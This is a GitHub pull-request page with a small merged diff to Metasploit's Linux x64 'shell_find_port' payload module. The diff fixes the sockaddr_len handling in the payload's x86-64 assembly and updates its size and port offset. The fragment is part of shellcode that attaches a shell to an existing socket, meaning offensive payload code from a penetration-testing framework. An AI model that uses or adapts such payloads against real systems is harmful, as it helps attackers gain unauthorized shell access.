Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix issue where Linux x64 shell_find_port did not set the sockaddr_len value #11923

Merged
merged 1 commit into from
Jun 29, 2019
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 5 additions & 4 deletions modules/payloads/singles/linux/x64/shell_find_port.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 91
CachedSize = 98

include Msf::Payload::Single
include Msf::Payload::Linux
Expand All @@ -29,16 +29,17 @@ def initialize(info = {})
{
'Offsets' =>
{
'CPORT' => [ 32, 'n' ],
'CPORT' => [ 39, 'n' ],
},

'Assembly' => %Q|
xor rdi,rdi
xor rbx,rbx
mov bl,0x14
mov bl,0x18
sub rsp,rbx
lea rdx,[rsp]
lea rsi,[rsp+4]
mov [rdx], 0x10
lea rsi,[rsp+8]
find_port:
push 0x34 ; getpeername
pop rax
Expand Down